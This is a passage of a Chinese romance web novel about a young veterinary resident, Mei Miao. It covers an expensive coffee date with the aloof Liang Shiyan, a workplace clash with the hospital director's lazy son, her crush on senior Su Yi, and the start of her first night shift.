梁时言也看到,觉得她意犹未尽:“再来一杯?”
美妙又用力一吸,确实吸不上来了。
她看向梁时言,心说这人挺大方,想了想说:“行,反正不花我钱。”
梁时言轻笑了下,拿手机扫桌号开始下单,指尖滑动两下,骨节分明,明亮日光下皮肤冷白不像人类,他抬眸:“还喝冰拿铁?”
“嗯…都行。”美妙不挑嘴,“你决定,反正你请客。”
话说完,她见梁时言起身,往咖啡店内走去。
午后十分,街面上人并不多,咖啡店门口几把空椅子围着小圆桌,旁边芭蕉树叶子暴露在明晃晃的太阳地里,门口的空调机,往外呼呼地吐着热风。
虽然大部分客人都躲在店内,但也有几桌在室外,美妙扭头看了眼自己身后那桌,三只长发飘飘的美女,已经在她身后嘀咕半天了。
她嚯了一声。
虽然梁时言的外观略有观赏价值,但也不必如此吧。
美妙下意识看向店里,梁时言一进店内立刻引起瞩目,人家都扭头看他,他却视若无睹,姿态从容地走到前台,带着拒人千里的冷淡气场,无动于衷。
她啧一声,这人心里素质真够强大的。
美妙扭回头没再看,她无聊地用力吸一吸吸管,一口没捞着,确实喝光了。
一抬头,刚刚身后的一桌美女忽然围在她桌前。
“小姐姐打扰了,我想问下刚才那位是你男朋友吗?”
美妙愣了楞,忙松开吸管,摇头如拨浪鼓:“不不不,不是。”
美女们立刻互看一眼,忽然雀跃起来:“那,你可以帮忙分享下你朋友微信吗?微博也可以。”
美妙略囧,这不太礼貌吧,关键她跟他不熟不能替人决定,于是指指店内,“不好意思啊,等他一会儿出来,你们当面要吧。”
话音刚落,美妙余光瞥见一道高海拔,好心地提醒:“他出来了。”
12. 第 12 章
没想到美女们却忽然一下散开了,几个人急匆匆回到后面坐好。
美妙:“……”
然后就在梁时言走过来之前,她们从后面投过来一张餐巾纸,“谢谢你。”
哇这样也行。
美妙低头看桌上的纸条,一个微信号外加一个笑脸。
梁时言手上的托盘里不仅有咖啡,还有一叠甜点。
“这个也是请我的?”美妙怀疑地盯着托盘,毕竟蛋糕的可爱与梁时言的气场实在不搭,不像他会吃的东西。
对面果然点点头。
美妙也不跟他客气,伸手就要拿旁边的咖啡。
梁时言淡淡说了一句:“等下。”
美妙手一顿,没动,见他从托盘拿起纸巾,慢条斯理地将杯口外挂一圈的冷凝水擦拭掉,然后才放回去,示意她拿。
美妙又道了一声谢,心说这人真是爱干净。
她握住咖啡杯,冰凉的触感从指端直达掌心,低头浅尝了口,之前好像没喝过这个口感,她找着上面的标签,随口问他:“这是什么?”
梁时言:“上面最贵的。”
美妙:“……”
这回答一时间冲击太大,她噎了下,只能在心里啧啧不停,说不出话。
梁时言一指托盘:“这是赠品。”
赠品?
美妙又一次不可置信地看看他,撇一眼上面的小蛋糕,这家店什么时候这么大方,实体店连优惠活动都不搞的好不好,她不可置信地扭头看向吧台。
那位吧台的小姐姐见她看过去,正轻轻招手呢,这不是刚才过来要微信的美女么。
她一下就全明白了,这哪是赠品,分明是贿赂。
真是吃人嘴软。
美妙尴尬地笑笑,然后把桌上写了号码的纸巾推到梁时言那边。
“刚……有美女要你微信来着。”她嘴巴有点不利索。
梁时言抬眸,直直看着她。
看我干嘛,又不是我要的,她抬爪一指吧台方向,“就是那个女生。”然后迅速拿勺子挖了一块蓝莓,缓缓投进嘴里,假装无事发生。
她这也算成人之美。
“我电话你存了吗?“梁时言忽然问。
存了,没存?
美妙没料到他有这么一问,自我怀疑地想了想,好像接完电话出来之前没存吧。
但没敢说,她略微心虚,问他:“怎么了?”
那就是没存。
梁时言眉峰微抬:“存一下。”
美妙心中登时冒出三个字——又来了。
又是这种平平淡淡,却不容置喙的口气,打针的糟糕回忆忽然涌上头,她心一沉,她会存的,但什么时候存用得着规定吗?
她没搭话。
就见梁时言连眼睛都没瞄一眼,抬手拿面前的纸巾擦了下桌子,随手丢进了桌边的垃圾桶。
一套动作行云流水,美妙眼睛简直都看直了。
她喉咙一梗,半口蛋糕卡在喉咙里不上不下,甜润丝滑的蛋糕忽然变的不那么美味了,又尴尬又乏味,她用了才把东西咽下去,下意识回头,吧台的小姐姐正直直望过来。
美妙:“……”
她尴尬的举举爪。
完了。
她自觉自己会遭人恨,下意识手一松丢了还捏着的小叉子,真是如芒刺在背。
梁时言一看就全明白了。
他扫了眼吧台,对这种事似乎见怪不怪,直接拿手机扫了下桌上的二维码,当场将钱还了回去。
然后说:“吃吧,付过钱了。”
够冷酷!
美妙心中一时感慨,能把拒绝演绎得如此干脆流畅,看来以前肯定没少干。
不过,这会儿眼前的小蛋糕又可爱起来,她重新拿起叉子,随口就问:“多少钱?”
梁时言:“两千。”
“咳咳…“美妙直接呛住,差点没噎死,开什么国际玩笑,“抢劫吗?”
她蹭一下站起来:“我找她们去。”
梁时言笑了下,轻描淡写:“不用。”
美妙瞪大了眼眸,这人怕不是人傻钱多脑袋有包吧,她问:“为什么?这不是明摆着坑人么?可以打12345。”只见梁时言淡淡扫了眼手机,“懒得浪费时间翻价格。”
美妙好大一个咂舌,感叹词脱口而出:“我去……”
分手费够贵的。
简直壕无人性。
她一边吃惊,一边坐下,心说今天喝个咖啡真是长见识了,却听梁时言说:“正式认识一下,我叫梁时言。”
美妙同样干脆利落:“你好,我叫美妙。”说完,她略带“景仰的”的抬起杯子,伸到桌子中间,作势要碰杯。
手举着杯子滞空几秒,那头却毫无反应。
美妙又抬了抬手:“嗯?”
但是梁时言没动作,只淡淡捏着自己的杯子盯着她的玻璃杯看。
搞什么?
美妙盯着梁时言,循着他冷淡的眉眼看向自己的杯口,看他那表情,分明是…嫌弃?
呵,不愿意拉倒!
她泄气地放下杯子,咖啡液一晃又漫出一大片在杯口,自己虎口也沾了不少,她伸手拽了张纸巾,冷森森地瞥他一眼,擦着手。
正无语着,包里的手机响了。
没工夫较真,她掏出手机看消息,是科里有事喊她回去加班。
没敢耽搁,美妙站起来:“我还有事,你——”算了算了,看在你请客的份上,我这人又心胸宽敞不予计较,她丢下一句:“我走了。”然后捞起座椅里的包,单肩背上。
梁时言一指她包,很好奇的样子:“这个多少钱买的?”
美妙低头,她的包挂小象正荡荡悠悠,她皱着眉头看他,正色道:“这是礼物,怎么能用金钱衡量?”
她打量的视线从对面毫无褶皱的衬衫腰部一直到他脸上,说了句:“拜拜!”
然后一下扣好头盔头走向路边,电车就放在花坛边,她头也不回的上车,纤细的身影,很快消失在夏日街头。
遮阳伞很大。
梁时言站在下面,挺括的白衬衣一丝不苟,银色金属袖扣分明醒目,他周身透着一股难以接近的冷淡疏离,自成一体,伞的边缘是一条泾渭分明的线,与外面明晃晃的夏天,是两个世界。
一半阴冷,一半明媚。
吧台送蛋糕的美女在门口观望很久,期间被朋友们推了几次,终是没有勇气出来。
“好酷的小姐姐哦,怎么说走就走啦。”
“是呀,怎么不多呆一会。”
“人家把你小纸条当废纸扔了你还挺高兴?”
“本来就是废纸一张,人不擦桌子用了么。”
“诶,你们说他站着一动不动,看啥呢?”
“那谁知道……帅哥的心思你别猜。”
美女就嗐一声:“要是有人
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愿意花2000给我买块蛋糕就好了。”
其他两人互看一眼:“……”
作为新晋住院医生,加班是常事。这在高考后选兽医专业的时候,美妙就早有耳闻,之前实习的时候也渐渐习惯,没有不适应,做医生就是这样,随叫随到。所以科室有事,她的第一反应,就是回去。
对她而言,现在没有比上班挣钱更重要的事。
况且像梁时言这样,一看就是哪家不知人间疾苦的大少爷,居然花2000大洋买那么丁点大的蛋糕,不知道的还以为那蛋糕镶了金边呢。那她能以普通人的眼光看他吗?答案自然是否定。所以,愿不愿意碰杯,已经无所谓了。
本市医科大学附属动物医院是由原来的教学楼改造的,一共三层,外观破旧,但是地址位置优越,周末来就诊的毛孩子们不少,车进车出,就显得比较拥堵。
美妙骑到医院入口,远远就看到从里面驶出一辆车,她马上靠边停下,等着车先出去,缓缓地,当那车快靠近时却停下了,汽车喇叭轻轻地鸣了两下。
意思是让她先过。
还挺有品格,美妙重新拧电发动,礼貌性地看了一眼车内,却在挡风玻璃后见到了一张熟悉的脸。
是苏屹。
“师兄。”美妙喊他,感觉天边的云彩都动了动。
“来加班?”苏屹降下车窗,然后目光自然落在她车把上,“手好了吧?”
“嗯,早好了。”美妙瞄一眼车把,轻蜷了手指,很快又将视线投向苏屹。他今天穿了便服,这是两年离别之后她第一见他穿这么正式,是件天蓝色衬衫。
与穿白大褂不同,身上又多了份儒雅冷静的气质,就像此刻头顶蓝汪汪的天空。
苏屹笑了笑,注意到后面有车过来,他转脸对上她明闪闪的眼眸,语气客套:“走了。”
美妙笑了下,忙不迭地点头:“嗯嗯。”
汽车发动机启动,白色的车身从身边缓缓驶过。
美妙回头,从前门,后门,直到出了闸口,蓝色车牌也在美妙眼睛里成了一片远去的光影。
三年前,也是在这样的情景下,也是在狭窄的学校通道内。
她第一次见到苏屹。
大学食堂的饭菜并不好吃,可去晚了再难吃的饭菜也只剩下残羹冷炙。一个寝室的人草草填饱肚子,美妙跟室友谈论着晚上再加餐,几人放好餐具,美妙拎着刚打好的水走在前面,她晃悠着两暖瓶水,回头跟室友说:“一会儿就去买泡面。”
已过饭点,那回人不多,食堂侧门的破塑料帘子又厚又硬,不好掀开不说,一不小心就容易被前面人带起的门帘打到脑袋,生疼,美妙以前吃过亏。
所以她等在前面没走,等着室友帮忙掀帘子。
这时,却见刚出去的两人没走,收撑着门帘迟迟没落下。
哇哦,遇见好心人啦。
那也不能让人家久等,美妙忙小跑过去,喊了声:“谢谢!”
帮她撑起门帘的高大男生正跟同伴讨论什么,只抽空略略朝她点点头,见她出来,又轻轻地将门帘放下,跟同伴继续说着什么,结伴走了。
他穿了校服,远去的背影清质俊朗。她没听清他跟同伴讨论的什么,但他的声音很好听,落在耳朵里,一阵叮叮咚咚。
室友们说说笑笑从门帘钻出来,小雨正兴奋得说着系里男生八卦,她忽然停下脚步,激动地抓住美妙胳膊:“那是不是苏屹?!”
13. 第 13 章
“是他是他是他。”另一室友也很激动。
美妙:“哪吒啊?”
室友没好气:“是苏屹……”
原来是苏屹,刚才是他帮着撑的门帘。
这张脸她是头次见,但苏屹这个名字,对美妙来说并不陌生。
系里高一个年级的成绩排行榜上经常出现这个名字,从没有掉出前三名。
美妙每次看自己名次的时候总是要看看隔壁的,那个高高挂起的名字,在那天的食堂门口,与实体合二为一。
就这样,她注意上他。
从成绩榜上仰望的名字,变成教学楼里一道阳光,晴天或者阴雨,冬天或者夏天,楼梯拐角或者排队打饭的队伍里,图书馆或者阶梯教室,他变成一道不知何时才会出现的身影。
有人喊她,美妙回神,不知不觉人已到车棚。
“喂!”杨帆站在楼梯口喊她,“发什么呆呢?”
美妙噢了声将车锁好,过来看了眼他手里的大包小包,先把后路堵死:“先说好,我不帮你干活。你别忘了,上次我帮你唰的三十八个笼子,你还没还我呢。”
杨帆好歹也是全系前十名,记忆力不错,他没上当:“我更正一下,二十八个。”
是么,脑子还挺好使,没忽悠住,美妙面不改色:“是吗?那我记错了。”
边聊着两人上楼,杨帆低头看了眼刚收到的消息,清了清嗓子问:“你知道叫咱过来干嘛吗?”
美妙:“干嘛?”
杨帆:“你家的棉花越狱了。”
“啊?!”怎么没人通知她啊。
也顾不上多问,狭小的楼梯间里立刻想起了嗒嗒嗒,美妙往上跑的回响。棉花可是她收的第一例病号,丢了可怎么交待呀。她拽着背包带,一路小跑赶到住院部,气喘吁吁刷卡进去,一进去便上气不接下气地问:“棉花呢?棉花找到没有?”
值班护士见她冲进来,先是楞了下,然后拿笔指指笼子:“不是在那儿睡觉吗?”
美妙悄声走过去,小家伙蜷成一团睡得正香,仔细一听,咕噜咕噜的声响像一台微小的发动机,她大大松了口气,顺便看了看夜间监护记录,小家伙的各项指标还可以。
这个杨帆整天神经兮兮,不知道抽哪门风。
反正先来了住院部,美妙简单巡查了一下主任管床的病号们,然后才回到科室,一进门就找杨帆,但那神经病没在。
正给电脑开机,听到门口有动静,美妙以为是杨帆,扭头一看原来是早一年入职的小微,小微就问她:“你也被叫回来了?”
美妙点点头,扒开了一下自己桌上的零食,品类还挺齐全。
这时两人的手机一前一后响了,两人掏出来看消息,看完之后都有点傻眼。
这才没上几天班,美妙就赶上卫生死角大扫除,而且是全院大扫除。尽管按规定每天都要进行全面消毒,但工作群里说了,今天是专门针对办公区死角,桌椅板凳垃圾桶这些办公家具,一个都不能放过,纯纯苦力活。
美妙这组负责档案室。
人陆陆续续到齐,美妙这么一看,只摸鱼大王杨帆没在。
呵!又来这招。
“还真会使手段。”小微捡起自己桌上一块巧克力,“有权有势真好啊,我们这边干活,那边…”她哼了声,没说完。
另一同事拿了消毒水进来,发现少一个人:“杨帆又去哪里躲闲呢?领导特意交待要一个男生来,资料柜这么重,咱们女生怎么搬搬抬抬?”
小微歪着头摊开手,表示无奈。
其他人吐槽归吐槽,但大家也没办法,沉默着各自拿上工具往档案室走,反正活干不完不能回家,跟领导说了也没用,没人敢管。
小微把劳保手套递给美妙:“走吧,咱们一人帮他干点。”
美妙没接,想到自己那二十八个笼子,上次杨帆骗她说身体不舒服,她二话没说刷笼子到晚上。结果隔天听小微说,杨帆下班不走躲在别的科室跟人打游戏。
她说:“你们先忙,我去找他。”
“喂,美妙!”小微想劝她忍忍,却见美妙两步出了门。
微信不回,电话不接,美妙在楼道转了一圈居然没找到人。
她两手叉腰,无奈地吐着气。
这时,只见前面房门开了,有个脑袋探出来,无声地指指同楼层值班室,然后就嗖的缩了回去。
值班室里,杨帆正翘着腿酣畅淋漓地打游戏,没察觉门外有人靠近。
门外传来美妙冷森森的声音:“杨大侠,摸鱼呢?”
杨帆呲溜放下腿,一时没敢出声。
杨大侠是他游戏里的昵称,在这里也只有美妙会这么喊他。
“我听到你在里面,快出来,要不然我给主任……“美妙顿一下,改口吓他,“不然我给院长打电话。”
杨帆不信。
不过美妙一贯敢说敢做,黑面神主任她都不怕,他那和蔼的老爸她更不怕了,况且他老爸自打面试见过不只一次在他面前夸过美妙。
衡量再三,他还是开了条门缝,假笑:“好吃的给你放桌上了,你看到没?”
美妙推门往里瞅了眼,果然没人,合着大家都在干活,还真就他一人偷懒。
提起零食她更无语:“你行啊,现在都学会提前贿赂人了,还学会调虎离山?”
杨帆面上笑嘻嘻,也不否认,一副无所谓的态度。
他没所谓,他成绩好业务能力也还可以,领导们都睁一只眼闭一只眼,更何况科室其他人。
美妙偏头道:“跟我去档案室干活,你在我们这组。”
杨帆装傻,低着头看了眼手机,然后抬头回了四个字:“什么意思?”
美妙:“……“
无语凝噎不能形容她此刻的心情,她只想就事论事。
“干活去,大家都在。”她不想多废话。
杨帆铁了心想躲懒,打扫卫生又不能评职称,再说他游戏正冲关呢,于是端起手机重新点开游戏,“那等一会儿吧。”
美妙又不傻,知道他搞拖延战术。
她不客气地说:“别装,现在就跟我走。”
杨帆毫不理睬,吊儿郎当地靠着门打起了游戏,手指飞快。
“你……”美妙积攒的愤怒值噌噌往上长,太阳穴突突突,正要发作,感觉身后有人拽她,回头一看,是小微,她轻轻扯着她衣角,怯怯地说:“算了
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吧,他爸是院长。”
对门房间的人听着动静,这时都好奇地挤在门口往这里看。
楼道上走动的人也都看过来,四周一片寂静。
院长儿子和邹主任的爱徒吵架,旁人自然不好帮腔。
换个性格软一点的人也许就这样算了,但是美妙不会。
她缓了缓,想起上次杨帆被院长请喝茶蔫头耷脑的样子,语气平缓地说:“好,那大家都不干了,等着领导来检查。反正我爸不是院长,我不怕给他脸上抹黑。”
这话直击杨帆痛处,他最怕老爸请他喝茶,其实是断零花钱。
等半天杨帆没反应,美妙也不着急,她不慌不忙转头问对面冒头的人:“你们怕吗?”生怕远处的人听不见,她还故意拔高声音,朝走廊深入又问了一遍:“你们怕吗?”
有人憋着笑看热闹,有人下意识想附和,刚张嘴的口下意识又缩了回去。
过了几秒,出乎意料的,走廊尽头有人低低地喊了一声:“不怕。”
气氛一瞬凝重。
小微伸出来的手下意识缩了回去,低着头大气都不敢出。
杨帆顿时变了脸色,面色灰白有些下不来台。
小微眼见越闹越僵,怕将来美妙在科里不好过,自己被波及,赶紧出来说好话:“算啦算啦,大家都在一个科室,互相帮帮忙也没什么。”
她一开口,彷佛开了闸门,这时从档案室跟出来的同事也纷纷来劝解,“算了吧,我们替他分担点就好了,其实也没什么。”
美妙鼓了鼓脸颊,叹了一口气,就在大家她要放弃的时候,却见她踱步到杨帆身边,手抄兜,往旁边一靠:“杨大侠,你看你个子高长得又帅,我们几个女生真的搞不定资料柜,真的需要你。”及其无奈,特别诚恳的语气。
几乎同时。
杨帆从游戏中抬头,相当震惊地对上一双闪闪发亮的明眸,坦坦荡荡又带一丢丢可怜。
他张了张嘴,缓缓地说:
“行。”
大家简直傻眼,怔愣几秒后,互相不可置信地瞅瞅,然后一齐转头,看着杨帆收起手机跟着美妙走了,他边走边问:“诶我放你桌上的零食,你吃了吗?”
美妙还是不想搭理他,手抄兜敷衍着说:“没呢。”
杨帆:“那些应该都是你喜欢吃的吧?”
美妙挑着眉头看他:“那我要吃了才知道。”
杨帆点点头。
僵了很久,安静如鸡的楼道一下热闹起来。
“怪不得那么多毕业生,咱邹主任就收了美医生一个徒弟,果然厉害啊。”
“你以为呢,这批新来的,听说美妙专业科第一。”
“邹主任那不也收了杨帆吗?”
“那是靠他老爹的关系好不啦,院长硬塞,邹主任能不收嘛?换你你敢?”
“那不管,反正我乐意看那小子吃瘪。”
那人就笑了,“我也是。”
就这么,杨帆被一帮人忽悠着不仅把自己的活干了,连同之前欠的也一并交付,几乎是超额完成任务。
两小时后,他一手撑腰慢吞吞走进办公室,“美医生,我腰要是出问题,你可得负全责。”
14. 第 14 章
大家一阵窃笑。
美妙觉得一点都不好笑,她扭头看着他,义正词严地说:“这可是工伤,按法律你得找你爸去。”
杨帆一噎,没料到她来这么一句,瞬间没话了。
跟在他身后进来的同事们特意绕过他走到工位,个个憋红了脸,想笑不敢笑。
轻松的气氛陡然变紧。
美妙也不想把气氛闹太僵,到底心善,忙给他上药:“杨医生,你说你年纪轻轻怎么可能受伤,经过今天的锻炼,明天一看,没准腹肌都出来了。”
“真的?”杨帆一脸狐疑地看着她,又低头看自己的腰腹,莫名有点想开了。
“当然是真的。”美妙拉开自己的椅子,把桌上的零食全部还出去,正儿八经地问其他人:“你们说呢?”
大家反应极快,齐声喊道:“真的!”
杨帆的自尊心得到空前满足,这下被忽悠的彻底放飞自我,一拍桌子:“行,以后科里有活,你们都记得喊我。”
同事们几乎泪目。
美妙一激动,尽显豪爽本色:“行,你欠我的二十八个笼子,我咬咬牙,少算你——八个。”
杨帆泪目。
他当即表示要请大家喝咖啡,一手托腰,一手掏出手机点外卖,他扭头问美妙喝什么?
被他这个一问,美妙忽然觉得今日咖啡含量有点高,摆摆手,“你们喝,我就算了。”
她撑着下巴坐在电脑前,忽然想起自己那块价值两千,但是没吃完的小蛋糕,有点肉疼。仔细想想,梁时言这个人还真是挺无语的,可能这就是阶级隔阂吧,她理解不了。
不过至少这人挺大方。
就这么想着,美妙掏出手机存了他电话,名字嘛……自然跟微信一样,这他不会反对吧?反正看不见。
“反对无效。”她手指一敲,点了保存。
整个下午,因为集体劳动科室迎来空前的大团结,在一起吃零食、喝咖啡的双重攻势下,办公室的气氛空前热烈。
轰轰烈烈热闹到晚上,办公室余热不散,咖啡香满屋。
只是这气氛没能维持两天,隔天查房,某人就被单独留下了。
周三的早晨。
得知夜里收了三个急诊,所以美妙一早打过卡,就先来病房看情况,重点留意医嘱,重要之处全都记在小本上,就怕主任查房时搞忽然袭击,他就爱来这招。查房时随机提问,点到谁,必须准确清晰毫无遗漏,否则点到谁谁遭殃,根本不给脸面。
所以美妙从实习期开始,养成习惯,提前半个小时到岗,等她转了一圈后,同事们也陆续才来,杨帆更是顶着两只黑眼圈,最后一个才到。
他一来他就管美妙要小抄。
想了想,美妙预感他要遭殃,没犹豫,本子给了。
没想到今天太阳居然打西边出来了,邹文昌居然没为难杨帆,反而在最后一个
听了美妙的病例汇报后,丢了一句:“一会儿到我办公室。”
登时所有人默默看向她,眼含同情。
完了。
美妙自觉不妙,难道遭殃的是自己,她自己复盘着最近两天的工作,想着也没捅娄子啊,有点摸不着头脑。
查房后从住院部出来,美妙嘀咕着去找主任,杨帆在她踏出门口后,贼兮兮地笑:“美医生,祝你好运。”
“去。”美妙斜睨他。
邹文昌又不会吃人。
她只是还没弄明白哪里出错了,这才最可怕。
没办法,是福不是祸,是祸躲不掉。
轻敲两下门板,美妙:“主任我来了。”
“进来。”听起来心情倒还可以。
她推门进去,邹文昌看她一眼,语气怪和气的,“坐吧。”
呦,好奇怪,居然赐座了。
先甜后苦,一会儿不会该我哭了吧。
美妙还是决定站着哭,绝对不坐。
邹文昌喝了口保温杯里的水,一抬头,见对面的凳子还空着,一时被美妙循规蹈矩的怪异表情逗笑。
他笑了笑:“坐吧。”
怎么这么不真实呢,不过还是贪图舒服拉过凳子坐下了,只有半个屁股。
邹文昌重点关照了手头病例的治疗方案,美妙端着小本认真记录,丝毫不敢怠慢,样子十分乖巧。
邹文昌没好气看她一眼,等吩咐完正事,推了推眼镜问她:“听说大扫除那天,杨帆被你收拾了?”
“没有!”美妙头摇得像拨浪鼓,眼神坚定像宣誓,“没有,绝对没有。”
邹文昌不说话,抬起杯子只是缓缓喝水。
这比直来的批评更可怕。
美妙感觉屁股底下的凳子硬邦邦的,十分想站起来。
不过她…这也不算收拾吧,顶多算…有技巧的沟通?
这不是主任教她的,说沟通也要讲技巧讲策略,那这也算活学活用,顶多加点威胁。反正杨帆这几天比之前敬业多了,这样公平一点不好吗。
“主任,我这是跟您学的,您不是教我沟通技巧?这我就学了呀,而且学以致用。”她嘘嘘地说,有点先发制人。
邹文昌水杯往桌上一磕,冷哼一声:“那是让你往同事身上用的?净瞎胡闹!”
美妙这会儿倒不怕了,抿了抿嘴:“杨帆来跟您告状了?”
“没有。”邹文昌没好气地瞅她一眼,叹一口气,劝道:“以后悠着点,杨院长就这一个宝贝儿子,老两口都好面子。”
美妙:“……”
她也跟着叹口气:“知道了。”
不过她也没干啥呀,就因为他是院长大人宝贝儿子,全院上下都得宠着他。
邹文昌不知道美妙思想抛锚,说起另外一件事:“周末诊疗协会有一个研究研讨会,你跟我去参加。”
这好事来的太快,美妙一时没反应过来。
她马上反问一句:“哈?”
邹文昌:“怎么,不想去?”
“去去去去去。”美妙反应过来,开始口吐豌豆,举着手表决心,“我去我肯定去,为您马首是瞻。”
邹文昌被逗笑,一天天哪来这么乱七八糟的词汇。
他真是不耐烦听,随即赶人:“去吧去吧。”
“噢。”美妙从凳子上站起来,想起刚才路过神经科,接诊屏上没见苏屹的名字,她问:“主任,研讨会
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咱们医院各科都会去吗?”
“理论上是。”
“那师兄也会去吧?”她后知后觉,问的时候自己也没意识到,一口气说出来,才惊觉有点突兀。
邹文昌倒没在意:“他跟院里请假了,应该不去。”
美妙听着心里一沉,脸上的笑意不自觉退去。
邹文昌见她站着不走:“还有事吗?”
从主任办公室出来,再次经过路口,美妙丧丧地看了眼神经科办公室。怪不得一连几天她都没在停车场看到那辆白车轿车,她还以为自己记错了车牌,自从上次门口一见,已经好几天过去了。
医院远没有学校大,那时候她偶尔还能寻到他身影。现在,神经科离她科室只有两个分区之远,但她鲜少有机会过来,即使路过也匆匆忙忙,不像悠闲的校园时光,她忙了,他的身影,也更难遇见。
她不免沮丧,好不容易张嘴打听一句,结果却不尽人意。苏屹竟然请假了,想起那天院门口匆匆的碰面,他开车走时眉眼间转瞬的落寞沮丧,美妙脚下一顿。
没回科室,她犹豫着退到分岔路口,插兜犹豫了几秒,然后抬步走了进去。
神经科的大办公室就在尽头,还没走近,就能听到里头的谈话声,刚来不久,除了苏屹美妙不大认识神经科其他人,但也有脸熟的。
她敲了敲门。
好几张熟脸同时转过来,全是生机勃勃的男医生,直勾勾看着她。
美妙声音不高,带着点怯意:“请问苏屹医生在吗?”
她总不能进来直接问,你们知道苏屹医生请假干嘛去了嘛。
其中离门口最近的男医生笑说:“这不是邹主任的小高徒,美…”
“我叫美妙。”
高徒就高徒,小又是什么鬼。
“苏医生请假了。”另一位认识美妙的医生,也笑说:“小美医生找苏医生什么事?”
美妙立刻被问住,进来之前忘记打草稿来着,只好硬着头皮道:“也…不是什么大事。”
那人听了断定美妙只是借口来看帅哥,站起来自我推荐:“咱们神经科不止一位帅哥哦,美医生有事也可以找找我们的。”
其他人就跟着瞎掺和,“就是呀,乐意效劳。”
“美医生进来坐,我们新买的咖啡机。”
“对啊,进来喝杯咖啡。”
她又不是花痴。
美妙略囧,站在门口左右为难,决定开溜:“谢谢,没事那我先回去了。”说着就后退一步,转身一瞬正好撞上进来的人,差点没站稳,被人扶住她肩头,又很快松开。
“师兄?!”
“美妙。”
美妙简直不敢相信自己的眼睛,不是说请假了吗,失而复得大概就是她现在的心情,四目相对之下。
她惊喜:“你怎么回来啦?”
苏屹却问她:“你找我有事儿?”
两人同时开口,然后不约而同的同时闭嘴,又同频失笑。
刚才看热闹的人一直盯着看,高声插话:“美医生说来找苏医生,又不说什么事,请她喝东西她不给面子,正要逃走。”然后看向苏屹,“正好你回来。”
15. 第 15 章
美妙只觉无语,逃什么啊真能诌,她想也没想,对苏屹说:“师兄,我找你有事。”
同事们就爱开玩笑,尤其可爱的女生,“他们逗你玩呢。”苏屹一指自己的工位,“你先坐会儿,我去换衣服。”
美妙点头:“好。”
想证明什么似的,她大大方方进来,走到窗边拉开苏屹的办公椅,一下坐下去。
可刚坐下就开始后悔,她到底找他什么事来着。边想着,她无聊地打量着办公桌,桌子不大,左边摞了几本巨厚的专业书,中间是电脑显示器,资料页整齐摆在后边。
美妙拿起键盘边上的一只签字笔,是医生们最常用的蓝黑色,墨水快用完了,可笔身摸起来还是这么干净,一点不油腻。
“美医生,我这儿有好笔,要不要送你几支?”
“不用。”美妙扭头过去道谢,“我自己有。”
“美医生,我这儿有好吃的,你吃不吃?”
“不用。”美妙再扭头过去,对着另一位医生,“谢谢,我不饿。”
神经科的人确实有点…不一样。
他们越喊她,美妙越觉得囧,然后他们越喊她。
师兄怎么还不回来呢?
“美医生——”
就在她又又被喊的时候,苏屹从门外进来,风从外面带进来,空气随之一清新,“师兄。”
苏屹示意她不要起来,往她桌上放了一瓶果汁,然后拉开了一旁的椅子。
是给她买的吗?
美妙盯着果汁看,停顿两秒拿到手里拧开了,苏屹温润目光就打在她左边脸颊上,她心头微微发热,仰着头小小啜了一口。
然后听到他说:“找我什么事?”
身后有人起身走动的声音。
她小心吞咽,转脸看向他,迎着柔软的目光没有闪躲:“我刚才去找主任,主任说周末有研讨会。出来的时候正好路过,所以想问问你去不去?”
苏屹表情略迟疑,原以为是什么大事,他刚回来还没来得及看日程,但时间应该差不多,于是说:“看情况,能去最好。”
一个不知道答案的答案。
但美妙听了竟然不觉的失望,她从椅子上站起来,拧好果汁瓶盖,“嗯,那我先回去了。”“
苏屹看一眼手表:“好。”
美妙一转身,发现屋内仅剩的三个人又齐齐看了过来。
美妙:“……”
这几个人平常不打照面,人名跟脸有些对不上,她只好举起爪子,在胸前挥了挥:“老师们再见。”
说完抬腿就走。
只听身后一个声音:“你看看你,我就说你别那么样子对着女孩子笑,你看,把邹主任的小高徒吓跑了吧?”
“我哪有?”
后面又有声音问苏医生怎么提前回来了,苏屹低声回了句什么,可惜美妙走的太快没听清。她揣着果汁回到科室,边写病例,边喝果汁,觉得今天的病例如此丝滑。
外头微微进来,发现美妙回来了,“主任叫你没事儿吧,训你没?”
“怎么可能,他训我干嘛?”美妙神情自若。
“那就好,白替你担心了。”微微说完,瞅一眼门外压低声音说:“刚才院长夫人驾到,把他们家杨帆领回去了。”
美妙吃了一惊:“为啥?”
还能为啥,微微拖了椅子出来沉重地坐下,“大少爷养尊处优,跟着咱们干了几天苦力,当妈的心疼呗。”
美妙:“……“
那孩子黑眼圈是挺重的。
两人无奈地对看一眼,微微叹口气也开始翻病例,美妙喝了口果汁。然后寂静的办公室里想起了霹雳吧啦的敲击键盘声,一浪高过一浪。
美妙忽然想到什么,手一顿,猛地坐直:“那今晚谁值夜班啊?”
小微也停下,想了想:“本来是杨帆,下来好像是你。”
美妙:“……”
不多时工作群便来了消息,通知今天的夜班要她顶上。
就这样,美妙提前轮值夜班,这还是入职以来第一次。
对着电脑狂敲病例的间隙,她对着墙合掌祈祷,伟大的老天爷啊,求求你,赐给我一个平安的夜晚吧。求完之后,打字的手都轻快不少,因为她坚信,这会是一个平稳安静的夜晚。
晚间七点,同事们陆续下班而去。
医院夜间急诊的灯亮了。
小微抛过来一只苹果:“平平安安。”
美妙一手接住,水足饭饱之后顺道啃了,收拾桌子丢掉垃圾,先上楼去了住院部。先交班,拿出随身小本记好待办事项,然后晚间十点,准时打卡开启夜班。
十点十分,执行医嘱先去给毛孩子们配了药,这她熟能手巧。
十点半,终于有诊来喽。
是一只感冒咳嗽的小鸡毛狗仔,她摸着狗头,“咳嗽有点严重哦,不过没关系。”美妙笑吟吟看诊开药,最后愉快送走小金毛。
紧接着又迎来一只折耳猫咪。
“跑不掉哦,小猫咪。”面对无法自述病情的长毛患者,深情对看几眼,一个眼神,美妙秒懂,原来便便不对劲,那不难哦,麻溜开药把猫猫装进猫包一气呵成,问诊暂时结束,开始查房。
晚间十二点的病房静悄悄,大多数病号小朋友们已然就寝。
美妙和助理医师配合,先给一只卷毛小狗清洗伤口,大多数毛孩子们已经熟悉了她的气味喝声音,闭着眼该睡睡,当然也有刚来的胆小的,一下惊醒,那美医生就只好安抚一下,扭头轻声催说:“睡吧。”
住院部助理摁住狗爪说:“美医生,今晚感觉还行耶,不怎么忙。”
“虚小点声,别说出来。”美妙低着头缠绷带。
晚上值班最怕遇到危重急诊,虽说也有全科主任值班,但美妙也心虚,如果遇到棘手的危重急诊自己处理不了,还得去值班室挖人。
这边两人刚说完,就听到外面走廊传来一声狗叫,美妙一紧张,心道不妙。
“来大家伙了!”医助看着她。
